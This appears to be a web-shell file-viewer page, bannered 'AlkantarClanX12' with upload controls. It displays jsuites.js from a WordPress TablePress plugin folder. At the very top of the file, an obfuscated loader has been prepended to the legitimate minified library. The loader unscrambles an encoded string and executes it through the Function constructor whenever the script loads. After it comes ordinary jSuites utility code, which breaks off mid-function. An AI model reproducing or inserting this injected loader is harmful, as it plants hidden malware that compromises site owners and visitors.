AlkantarClanX12

Your IP : 3.145.93.227


Current Path : /home/thanudqk/www/wordpress_leaderboard/wp-content/plugins/tablepress/admin/js/build/
Upload File :
Current File : /home/thanudqk/www/wordpress_leaderboard/wp-content/plugins/tablepress/admin/js/build/jsuites.js

var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp  i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e  !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83  c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();!function(){var e;e=function(){return function(){var e={195:function(e){e.exports=function(e){function t(e,t){this.highOrder=e,this.lowOrder=t}var n,i,o,a,s,r,l,d,c,u,p=[new t(1779033703,4089235720),new t(3144134277,2227873595),new t(1013904242,4271175723),new t(2773480762,1595750129),new t(1359893119,2917565137),new t(2600822924,725511199),new t(528734635,4215389547),new t(1541459225,327033209)],h=[new t(1116352408,3609767458),new t(1899447441,602891725),new t(3049323471,3964484399),new t(3921009573,2173295548),new t(961987163,4081628472),new t(1508970993,3053834265),new t(2453635748,2937671579),new t(2870763221,3664609560),new t(3624381080,2734883394),new t(310598401,1164996542),new t(607225278,1323610764),new t(1426881987,3590304994),new t(1925078388,4068182383),new t(2162078206,991336113),new t(2614888103,633803317),new t(3248222580,3479774868),new t(3835390401,2666613458),new t(4022224774,944711139),new t(264347078,2341262773),new t(604807628,2007800933),new t(770255983,1495990901),new t(1249150122,1856431235),new t(1555081692,3175218132),new t(1996064986,2198950837),new t(2554220882,3999719339),new t(2821834349,766784016),new t(2952996808,2566594879),new t(3210313671,3203337956),new t(3336571891,1034457026),new t(3584528711,2466948901),new t(113926993,3758326383),new t(338241895,168717936),new t(666307205,1188179964),new t(773529912,1546045734),new t(1294757372,1522805485),new t(1396182291,2643833823),new t(1695183700,2343527390),new t(1986661051,1014477480),new t(2177026350,1206759142),new t(2456956037,344077627),new t(2730485921,1290863460),new t(2820302411,3158454273),new t(3259730800,3505952657),new t(3345764771,106217008),new t(3516065817,3606008344),new t(3600352804,1432725776),new t(4094571909,1467031594),new t(275423344,851169720),new t(430227734,3100823752),new t(506948616,1363258195),new t(659060556,3750685593),new t(883997877,3785050280),new t(958139571,3318307427),new t(1322822218,3812723403),new t(1537002063,2003034995),new t(1747873779,3602036899),new t(1955562222,1575990012),new t(2024104815,1125592928),new t(2227730452,2716904306),new t(2361852424,442776044),new t(2428436474,593698344),new t(2756734187,3733110249),new t(3204031479,2999351573),new t(3329325298,3815920427),new t(3391569614,3928383900),new t(3515267271,566280711),new t(3940187606,3454069534),new t(4118630271,4000239992),new t(116418474,1914138554),new t(174292421,2731055270),new t(289380356,3203993006),new t(460393269,320620315),new t(685471733,587496836),new t(852142971,1086792851),new t(1017036298,365543100),new t(1126000580,2618297676),new t(1288033470,3409855158),new t(1501505948,4234509866),new t(1607167915,987167468),new t(1816402316,1246189591)],f=new Array(64);function m(e,n){var i,o,a;return i=(65535&e.lowOrder)+(65535&n.lowOrder),a=(65535&(o=(e.lowOrder>>>16)+(n.lowOrder>>>16)+(i>>>16)))<<16|65535&i,i=(65535&e.highOrder)+(65535&n.highOrder)+(o>>>16),new t((65535&(o=(e.highOrder>>>16)+(n.highOrder>>>16)+(i>>>16)))<<16|65535&i,a)}function v(e,n,i,o){var a,s,r;return a=(65535&e.lowOrder)+(65535&n.lowOrder)+(65535&i.lowOrder)+(65535&o.lowOrder),r=(65535&(s=(e.lowOrder>>>16)+(n.lowOrder>>>16)+(i.lowOrder>>>16)+(o.lowOrder>>>16)+(a>>>16)))<<16|65535&a,a=(65535&e.highOrder)+(65535&n.highOrder)+(65535&i.highOrder)+(65535&o.highOrder)+(s>>>16),new t((65535&(s=(e.highOrder>>>16)+(n.highOrder>>>16)+(i.highOrder>>>16)+(o.highOrder>>>16)+(a>>>16)))<<16|65535&a,r)}function g(e,n,i,o,a){var s,r,l;return s=(65535&e.lowOrder)+(65535&n.lowOrder)+(65535&i.lowOrder)+(65535&o.lowOrder)+(65535&a.lowOrder),l=(65535&(r=(e.lowOrder>>>16)+(n.lowOrder>>>16)+(i.lowOrder>>>16)+(o.lowOrder>>>16)+(a.lowOrder>>>16)+(s>>>16)))<<16|65535&s,s=(65535&e.highOrder)+(65535&n.highOrder)+(65535&i.highOrder)+(65535&o.highOrder)+(65535&a.highOrder)+(r>>>16),new t((65535&(r=(e.highOrder>>>16)+(n.highOrder>>>16)+(i.highOrder>>>16)+(o.highOrder>>>16)+(a.highOrder>>>16)+(s>>>16)))<<16|65535&s,l)}function y(e,n,i){return new t(e.highOrder&n.highOrder^e.highOrder&i.highOrder^n.highOrder&i.highOrder,e.lowOrder&n.lowOrder^e.lowOrder&i.lowOrder^n.lowOrder&i.lowOrder)}function b(e,n,i){return new t(e.highOrder&n.highOrder^~e.highOrder&i.highOrder,e.lowOrder&n.lowOrder^~e.lowOrder&i.lowOrder)}function x(e,n){return n<=32?new t(e.highOrder>>>n|e.lowOrder<<32-n,e.lowOrder>>>n|e.highOrder<<32-n):new t(e.lowOrder>>>n|e.highOrder<<32-n,e.highOrder>>>n|e.lowOrder<<32-n)}function w(e){var n=x(e,28),i=x(e,34),o=x(e,39);return new t(n.highOrder^i.highOrder^o.highOrder,n.lowOrder^i.lowOrder^o.lowOrder)}function L(e){var n=x(e,14),i=x(e,18),o=x(e,41);return new t(n.highOrder^i.highOrder^o.highOrder,n.lowOrder^i.lowOrder^o.lowOrder)}function j(e){var n=x(e,1),i=x(e,8),o=E(e,7);return new t(n.highOrder^i.highOrder^o.highOrder,n.lowOrder^i.lowOrder^o.lowOrder)}function E(e,n){return n<=32?new t(e.highOrder>>>n,e.lowOrder>>>n|e.highOrder<<32-n):new t(0,e.highOrder<<32-n)}var C,T,k,A,M=8*(e=function(e){return unescape(encodeURIComponent(e))}(e)).length;(e=function(e){for(var t=[],n=8*e.length,i=0;i<n;i+=8)t[i>>5]|=(255&e.charCodeAt(i/8))<<24-i%32;return t}(e))[M>>5]|=128<<24-M%32,e[31+(M+128>>10<<5)]=M;for(var D=0;D<e.length;D+=32){n=p[0],i=p[1],o=p[2],a=p[3],s=p[4],r=p[5],l=p[6],d=p[7];for(var O=0;O<80;O++)f[O]=O<16?new t(e[2*O+D],e[2*O+D+1]):v((C=f[O-2],T=void 0,k=void 0,A=void 0,T=x(C,19),k=x(C,61),A=E(C,6),new t(T.highOrder^k.highOrder^A.highOrder,T.lowOrder^k.lowOrder^A.lowOrder)),f[O-7],j(f[O-15]),f[O-16]),c=g(d,L(s),b(s,r,l),h[O],f[O]),u=m(w(n),y(n,i,o)),d=l,l=r,r=s,s=m(a,c),a=o,o=i,i=n,n=m(c,u);p[0]=m(n,p[0]),p[1]=m(i,p[1]),p[2]=m(o,p[2]),p[3]=m(a,p[3]),p[4]=m(s,p[4]),p[5]=m(r,p[5]),p[6]=m(l,p[6]),p[7]=m(d,p[7])}var N=[];for(D=0;D<p.length;D++)N.push(p[D].highOrder),N.push(p[D].lowOrder);return function(e){for(var t,n="0123456789abcdef",i="",o=4*e.length,a=0;a<o;a+=1)t=e[a>>2]>>8*(3-a%4),i+=n.charAt(t>>4&15)+n.charAt(15&t);return i}(N)}}},t={};function n(i){var o=t[i];if(void 0!==o)return o.exports;var a=t[i]={exports:{}};return e[i].call(a.exports,a,a.exports,n),a.exports}n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,{a:t}),t},n.d=function(e,t){for(var i in t)n.o(t,i)&&!n.o(e,i)&&Object.defineProperty(e,i,{enumerable:!0,get:t[i]})},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)};var i={};return function(){"use strict";n.d(i,{default:function(){return Y}});var e,t,o,a,s={two:function(e){return 1==(e=""+e).length&&(e="0"+e),e},focus:function(e){if(e.innerText.length){var t=document.createRange(),n=window.getSelection(),i=e.childNodes[e.childNodes.length-1];t.setStart(i,i.length),t.collapse(!0),n.removeAllRanges(),n.addRange(t),e.scrollLeft=e.scrollWidth}},isNumeric:function(e){return"string"==typeof e&&(e=e.trim()),!isNaN(e)&&null!==e&&""!==e},guid:function(){return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,(function(e){var t=16*Math.random()|0;return("x"==e?t:3&t|8).toString(16)}))},getNode:function(){var e=document.getSelection().anchorNode;return e?3==e.nodeType?e.parentNode:e:null},hash:function(e){var t,n,i=0;if(0===e.length)return i;for(t=0;t<e.length;t++)(n=e.charCodeAt(t))>32&&(i=(i<<5)-i+n,i|=0);return i},randomColor:function(e){var t=String("#"+Math.random().toString(16).slice(2,8).toUpperCase()).replace(/[^0-9a-f]/gi,"");t.length<6&&(t=t[0]+t[0]+t[1]+t[1]+t[2]+t[2]);var n,i,o=[];for(i=0;i<3;i++)n=parseInt(t.substr(2*i,2),16),n=Math.round(Math.min(Math.max(0,n+-.25*n),255)).toString(16),o.push(("00"+n).substr(n.length));return 1==e?"#"+s.two(o[0].toString(16))+s.two(o[1].toString(16))+s.two(o[2].toString(16)):o},getWindowWidth:function(){var e=window,t=document,n=t.documentElement,i=t.getElementsByTagName("body")[0];return e.innerWidth||n.clientWidth||i.clientWidth},getWindowHeight:function(){var e=window,t=document,n=t.documentElement,i=t.getElementsByTagName("body")[0];return e.innerHeight||n.clientHeight||i.clientHeight},getPosition:function(e){if(e.changedTouches&&e.changedTouches[0])var t=e.changedTouches[0].pageX,n=e.changedTouches[0].pageY;else t=window.Event?e.pageX:e.clientX+(document.documentElement.scrollLeft?document.documentElement.scrollLeft:document.body.scrollLeft),n=window.Event?e.pageY:e.clientY+(document.documentElement.scrollTop?document.documentElement.scrollTop:document.body.scrollTop);return[t,n]},click:function(e){if(e.click)e.click();else{var t=new MouseEvent("click",{bubbles:!0,cancelable:!0,view:window});e.dispatchEvent(t)}},findElement:function(e,t){var n=!1;return function e(i){i&&!n&&("function"==typeof t?n=t(i):"string"==typeof t&&i.classList&&i.classList.contains(t)&&(n=i)),i.parentNode&&!n&&e(i.parentNode)}(e),n}},r=s,l=(e={now:function(e,t){var n=null,i=null,o=null,a=null,s=null,l=null;return Array.isArray(e)?(n=e[0],i=e[1],o=e[2],a=e[3],s=e[4],l=e[5]):(e||(e=new Date),n=e.getFullYear(),i=e.getMonth()+1,o=e.getDate(),a=e.getHours(),s=e.getMinutes(),l=e.getSeconds()),1==t?r.two(n)+"-"+r.two(i)+"-"+r.two(o):r.two(n)+"-"+r.two(i)+"-"+r.two(o)+" "+r.two(a)+":"+r.two(s)+":"+r.two(l)},toArray:function(e){var t=(n=e.split(-1!==e.indexOf("T")?"T":" "))[1],n=n[0].split("-"),i=parseInt(n[0]),o=parseInt(n[1]),a=parseInt(n[2]),s=0,r=0;return t&&(t=t.split(":"),s=parseInt(t[0]),r=parseInt(t[1])),[i,o,a,s,r,0]}},t=Date.UTC(1900,0,0),o=Date.UTC(1900,1,29),a=864e5,e.dateToNum=function(e){"string"==typeof e&&(e=new Date(e+"  GMT+0"));var n=e.getTime();return n>=o&&(n+=a),(n-=t)/a},e.numToDate=function(n){var i=t+n*a;i>=o&&(i-=a);const s=new Date(i);var r=[s.getUTCFullYear(),s.getUTCMonth()+1,s.getUTCDate(),s.getUTCHours(),s.getUTCMinutes(),s.getUTCSeconds()];return e.now(r)},e.weekdays=["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],e.months=["January","February","March","April","May","June","July","August","September","October","November","December"],e.weekdaysShort=["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],e.monthsShort=["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],e),d=function(e){return"undefined"!=typeof document&&document.dictionary&&document.dictionary[e]||e},c={setDictionary:function(e){document.dictionary||(document.dictionary={});var t=null,n=null,i=Object.keys(e);for(n=0;n<i.length;n++)document.dictionary[i[n]]=e[i[n]];for(n=0;n<l.weekdays.length;n++)t=d(l.weekdays[n]),l.weekdays[n]&&(l.weekdays[n]=t,l.weekdaysShort[n]=t.substr(0,3));for(n=0;n<l.months.length;n++)(t=d(l.months[n]))&&(l.months[n]=t,l.monthsShort[n]=t.substr(0,3))},translate:d};function u(e,t){if(1==t)document.jsuitesComponents=document.jsuitesComponents.filter((function(e){return null!==e})),setTimeout((function(){document.jsuitesComponents.push(e)}),0);else{var n=document.jsuitesComponents.indexOf(e);n>=0&&document.jsuitesComponents.splice(n,1)}}function p(e,t,n){if((e=e.split(".")).length){let i=this,o=null;for(;e.length>1;)if(o=e.shift(),i.hasOwnProperty(o))i=i[o];else{if(void 0===t)return;i[o]={},i=i[o]}if(o=e.shift(),void 0!==t)return!0===n?delete i[o]:i[o]=t,!0;if(i)return i[o]}return!1}function h(e,t){var n={options:{}},i={pointer:null,direction:null,ondragstart:null,ondragend:null,ondrop:null},o=null;for(var a in i)t&&t.hasOwnProperty(a)?n.options[a]=t[a]:n.options[a]=i[a];e.classList.add("jsorting"),e.addEventListener("dragstart",(function(t){var i=Array.prototype.indexOf.call(t.target.parentNode.children,t.target);o={element:t.target,o:i,d:i},t.target.style.opacity="0.25","function"==typeof n.options.ondragstart&&n.options.ondragstart(e,t.target,t)})),e.addEventListener("dragover",(function(e){if(e.preventDefault(),s(e.target)&&o&&"true"==e.target.getAttribute("draggable")&&o.element!=e.target){if(n.options.direction)t=e.target.clientWidth/2>e.offsetX;else var t=e.target.clientHeight/2>e.offsetY;t?e.target.parentNode.insertBefore(o.element,e.target):e.target.parentNode.insertBefore(o.element,e.target.nextSibling),o.d=Array.prototype.indexOf.call(e.target.parentNode.children,o.element)}})),e.addEventListener("dragleave",(function(e){e.preventDefault()})),e.addEventListener("dragend",(function(t){t.preventDefault(),o&&("function"==typeof n.options.ondragend&&n.options.ondragend(e,o.element,t),o.o<o.d?t.target.parentNode.insertBefore(o.element,t.target.parentNode.children[o.o]):t.target.parentNode.insertBefore(o.element,t.target.parentNode.children[o.o].nextSibling),o.element.style.opacity="",o=null)})),e.addEventListener("drop",(function(t){t.preventDefault(),o&&o.o!=o.d&&"function"==typeof n.options.ondrop&&n.options.ondrop(e,o.o,o.d,o.element,t.target,t),o.element.style.opacity="",o=null}));for(var s=function(e){var t=!1;return function e(n){n.className&&n.classList.contains("jsorting")&&(t=!0),t||e(n.parentNode)}(e),t},r=0;r<e.children.length;r++)e.children[r].hasAttribute("draggable")||e.children[r].setAttribute("draggable","true");return e.val=function(){for(var t=null,n=[],i=0;i<e.children.length;i++)(t=e.children[i].getAttribute("data-id"))&&n.push(t);return n},e}function f(e,t){t.loadUp&&"function"==typeof t.loadUp||(t.loadUp=function(){return!1}),t.loadDown&&"function"==typeof t.loadDown||(t.loadDown=function(){return!1}),t.timer||(t.timer=100);var n=null,i=function(i){if(null==n){var o=!1,a=e.scrollTop;e.scrollTop+2*e.clientHeight>=e.scrollHeight?t.loadDown()&&(a==e.scrollTop&&(e.scrollTop=e.scrollTop-e.clientHeight),o=!0):e.scrollTop<=e.clientHeight&&t.loadUp()&&(a==e.scrollTop&&(e.scrollTop=e.scrollTop+e.clientHeight),o=!0),n=setTimeout((function(){n=null}),t.timer),o&&"function"==typeof t.onupdate&&t.onupdate()}};return e.onscroll=function(e){i()},e.onwheel=function(e){i()},{}}var m=function(){var e=function(t,n){if(Array.isArray(t)){var i={instance:[],complete:n};if(t.length>0)for(var o=0;o<t.length;o++)t[o].multiple=i,i.instance.push(e(t[o]));return i}if(t.data||(t.data={}),t.type&&(t.method=t.type),t.method||(t.method="GET"),t.dataType||(t.dataType="json"),t.data){var a=function(e,t){var n=[];if(e){var i=Object.keys(e);if(i.length)for(var o=0;o<i.length;o++){if(t)var s=t+"["+i[o]+"]";else s=i[o];if(e[s]instanceof FileList)n[s]=e[i[o]];else if(null===e[i[o]]||void 0===e[i[o]])n[s]="";else if("object"==typeof e[i[o]])for(var r=a(e[i[o]],s),l=Object.keys(r),d=0;d<l.length;d++)n[l[d]]=r[l[d]];else n[s]=e[i[o]]}}return n},s=a(t.data),r=Object.keys(s);if("GET"==t.method){if(r.length){var l=[];for(o=0;o<r.length;o++)l.push(r[o]+"="+encodeURIComponent(s[r[o]]));t.url.indexOf("?")<0&&(t.url+="?"),t.url+=l.join("&")}}else for(l=new FormData,o=0;o<r.length;o++)if(s[r[o]]instanceof FileList){if(s[r[o]].length)for(var d=0;d<s[r[o]].length;d++)l.append(r[o],s[r[o]][d],s[r[o]][d].name)}else l.append(r[o],s[r[o]])}var c=new XMLHttpRequest;return c.open(t.method,t.url,!0),c.setRequestHeader("X-Requested-With","XMLHttpRequest"),t.contentType&&c.setRequestHeader("Content-Type",t.contentType),"POST"===t.method?c.setRequestHeader("Accept","application/json"):"blob"===t.dataType?c.responseType="blob":t.contentType||("json"===t.dataType?c.setRequestHeader("Content-Type","text/json"):"html"===t.dataType&&c.setRequestHeader("Content-Type","text/html")),!0!==t.cache&&(c.setRequestHeader("pragma","no-cache"),c.setRequestHeader("cache-control","no-cache")),!0===t.withCredentials&&(c.withCredentials=!0),"function"==typeof t.beforeSend&&t.beforeSend(c),"function"==typeof e.beforeSend&&e.beforeSend(c),document.ajax&&"function"==typeof document.ajax.beforeSend&&document.ajax.beforeSend(c),c.onload=function(){if(c.status>=200&&c.status<300)if("json"===t.dataType)try{var n=JSON.parse(c.responseText);t.success&&"function"==typeof t.success&&t.success(n)}catch(e){t.error&&"function"==typeof t.error&&t.error(e,n)}else n="blob"===t.dataType?c.response:c.responseText,t.success&&"function"==typeof t.success&&t.success(n);else t.error&&"function"==typeof t.error&&t.error(c.responseText,c.status);if(e.queue&&e.queue.length>0&&e.send(e.queue.shift()),e.requests&&e.requests.length){var i=e.requests.indexOf(c);e.requests.splice(i,1),e.requests.length||t.complete&&"function"==typeof t.complete&&t.complete(n),t.group&&e.oncomplete&&"function"==typeof e.oncomplete[t.group]&&(e.pending(t.group)||(e.oncomplete[t.group](),e.oncomplete[t.group]=null)),t.multiple&&t.multiple.instance&&(i=t.multiple.instance.indexOf(c),t.multiple.instance.splice(i,1),t.multiple.instance.length||t.multiple.complete&&"function"==typeof t.multiple.complete&&t.multiple.complete(n))}},c.options=t,c.data=l,!0===t.queue&&e.requests.length>0?e.queue.push(c):e.send(c),c};return e.send=function(t){t.data?Array.isArray(t.data)?t.send(t.data.join("&")):t.send(t.data):t.send(),e.requests.push(t)},e.exists=function(e,t){var n=new XMLHttpRequest;n.open("HEAD",e,!1),n.send(),n.status&&t(n.status)},e.pending=function(t){var n=0,i=e.requests;if(i&&i.length)for(var o=0;o<i.length;o++)t&&t!=i[o].options.group||n++;return n},e.oncomplete={},e.requests=[],e.queue=[],e}(),v=function(){const e={loading:{}};return e.loading.show=function(t){e.loading.element||(e.loading.element=document.createElement("div"),e.loading.element.className="jloading"),document.body.appendChild(e.loading.element),t>0&&setTimeout((function(){e.loading.hide()}),1e3*t)},e.loading.hide=function(){e.loading.element&&e.loading.element.parentNode&&document.body.removeChild(e.loading.element)},e.slideLeft=function(e,t,n){1==t?(e.classList.add("slide-left-in"),setTimeout((function(){e.classList.remove("slide-left-in"),"function"==typeof n&&n()}),400)):(e.classList.add("slide-left-out"),setTimeout((function(){e.classList.remove("slide-left-out"),"function"==typeof n&&n()}),400))},e.slideRight=function(e,t,n){!0===t?(e.classList.add("slide-right-in"),setTimeout((function(){e.classList.remove("slide-right-in"),"function"==typeof n&&n()}),400)):(e.classList.add("slide-right-out"),setTimeout((function(){e.classList.remove("slide-right-out"),"function"==typeof n&&n()}),400))},e.slideTop=function(e,t,n){!0===t?(e.classList.add("slide-top-in"),setTimeout((function(){e.classList.remove("slide-top-in"),"function"==typeof n&&n()}),400)):(e.classList.add("slide-top-out"),setTimeout((function(){e.classList.remove("slide-top-out"),"function"==typeof n&&n()}),400))},e.slideBottom=function(e,t,n){!0===t?(e.classList.add("slide-bottom-in"),setTimeout((function(){e.classList.remove("slide-bottom-in"),"function"==typeof n&&n()}),400)):(e.classList.add("slide-bottom-out"),setTimeout((function(){e.classList.remove("slide-bottom-out"),"function"==typeof n&&n()}),100))},e.fadeIn=function(e,t){e.style.display="",e.classList.add("fade-in"),setTimeout((function(){e.classList.remove("fade-in"),"function"==typeof t&&t()}),2e3)},e.fadeOut=function(e,t){e.classList.add("fade-out"),setTimeout((function(){e.style.display="none",e.classList.remove("fade-out"),"function"==typeof t&&t()}),1e3)},e}(),g=function(){var e={text:["@"],currency:["#(.{1})##0?(.{1}0+)?( ?;(.*)?)?","#"],percentage:["0{1}(.{1}0+)?%"],numeric:["0{1}(.{1}0+)?"],datetime:["YYYY","YYY","YY","MMMMM","MMMM","MMM","MM","DDDDD","DDDD","DDD","DD","DY","DAY","WD","D","Q","MONTH","MON","HH24","HH12","HH","\\[H\\]","H","AM/PM","MI","SS","MS","Y","M"],general:["A","0","[0-9a-zA-Z$]+","."]},t=function(){if(-1!==this.mask.toLowerCase().indexOf("[h]")){var e=0;this.date[4]&&(e=parseFloat(this.date[4]/60));var t=parseInt(this.date[3])+e;t/=24}else this.date[0]&&this.date[1]&&this.date[2]||!this.date[3]&&!this.date[4]?(this.date[0]&&this.date[1]&&!this.date[2]&&(this.date[2]=1),t=r.two(this.date[0])+"-"+r.two(this.date[1])+"-"+r.two(this.date[2]),(this.date[3]||this.date[4]||this.date[5])&&(t+=" "+r.two(this.date[3])+":"+r.two(this.date[4])+":"+r.two(this.date[5]))):t=r.two(this.date[3])+":"+r.two(this.date[4])+":"+r.two(this.date[5]);return t},n=function(){var e="";if(this.date[0]&&this.date[1]&&this.date[2]||!this.date[3]&&!this.date[4]){if(this.date[0]||this.date[1]||this.date[2]||this.date[3]||this.date[4]||this.date[5]){this.date[0]&&this.date[1]&&!this.date[2]&&(this.date[2]=1);var t=l.now(this.date);e=l.dateToNum(t),this.date[4]&&(e+=parseFloat(this.date[4]/60))}}else{if(-1!==this.mask.toLowerCase().indexOf("[h]"))e=parseInt(this.date[3]);else{let t=parseInt(this.date[3]);e=t<13&&-1!==this.values.indexOf("PM")?(t+12)%24:t%24}this.date[4]&&(e+=parseFloat(this.date[4]/60)),this.date[5]&&(e+=parseFloat(this.date[5]/3600)),e/=24}return isNaN(e)&&(e=""),e},i=function(e){return null===e||""===e||void 0===e},o=function(e){return"currency"===e||"percentage"===e||"numeric"===e},a=function(e){if(e&&Number(e)==e)return".";if(this.options.decimal)return this.options.decimal;if(this.locale){var t=Intl.NumberFormat(this.locale).format(1.1);return this.options.decimal=t[1]}return e||(e=this.mask),(t=new RegExp("0{1}(.{1})0+","ig").exec(e))&&t[1]&&1==t[1].length?(this.options.decimal=t[1],t[1]):((t=new RegExp("#{1}(.{1})#+","ig").exec(e))&&t[1]&&1==t[1].length?","===t[1]?this.options.decimal=".":this.options.decimal=",":this.options.decimal="1.1".toLocaleString().substring(1,2),this.options.decimal?this.options.decimal:null)},s=function(e,t){if(""==e)return"";t||(t=a.call(this));var n=(e=(""+e).split(t))[0].match(/[-]+/g);return n=!(!n||!n.length),e[0]=e[0].match(/[0-9]+/g),e[0]?(n&&e[0].unshift("-"),e[0]=e[0].join("")):n&&(e[0]="-"),e[0]||e[1]?(void 0!==e[1]&&(e[1]=e[1].match(/[0-9]+/g),e[1]?e[1]=e[1].join(""):e[1]=""),e):""},d=function(e,t){if(""===e)return"";var n=a.call(this),i=this.options;if(""===(e=s.call(this,e)))return"";var o=null;if(e[0]&&(o="percent"===i.style?parseFloat(e[0])/100:parseFloat(e[0]+".1")),("-"===e[0]||"-00"===e[0])&&!e[1]&&t&&"deleteContentBackward"==t.inputType)return"";var r=new Intl.NumberFormat(this.locale,i).format(o);if(r=r.split(n),"percent"===i.style&&-1!==r[0].indexOf("%")&&(r[0]=r[0].replace("%",""),r[2]="%"),void 0!==r[1]){var l=r[1].replace(/[0-9]*/g,"");l&&(r[2]=l)}return void 0!==e[1]?r[1]=n+e[1]:r[1]="",r.join("")},c=function(e,t){var n=h.call(e);if(n){var i=d.call(this,n,t),o=i.length-n.length,a=p.call(e)+o;h.call(e,i,a,!0)}},u=function(e){var t=s.call(this,e);return t?("-"===t[0]&&(t[0]="-0"),parseFloat(t.join("."))):null},p=function(e,t){if(void 0===e){if("DIV"==this.tagName){var n=0;return(s=window.getSelection())&&0!==s.rangeCount&&((o=(r=s.getRangeAt(0)).cloneRange()).selectNodeContents(this),o.setEnd(r.endContainer,r.endOffset),n=o.toString().length),n}return this.selectionStart}var i=h.call(this);if(t){for(var o=null,a=0;a<i.length;a++)(i[a].match(/[\-0-9]/g)||"."===i[a]||","===i[a])&&(o=a);null===o&&(o=i.indexOf(" ")),e>=o&&(e=o+1)}if(e>i.length&&(e=i.length),e)if("DIV"==this.tagName){var s=window.getSelection(),r=document.createRange();this.childNodes[0]&&(r.setStart(this.childNodes[0],e),s.removeAllRanges(),s.addRange(r))}else this.selectionStart=e,this.selectionEnd=e},h=function(e,t,n){if("DIV"==this.tagName){if(void 0===e)return 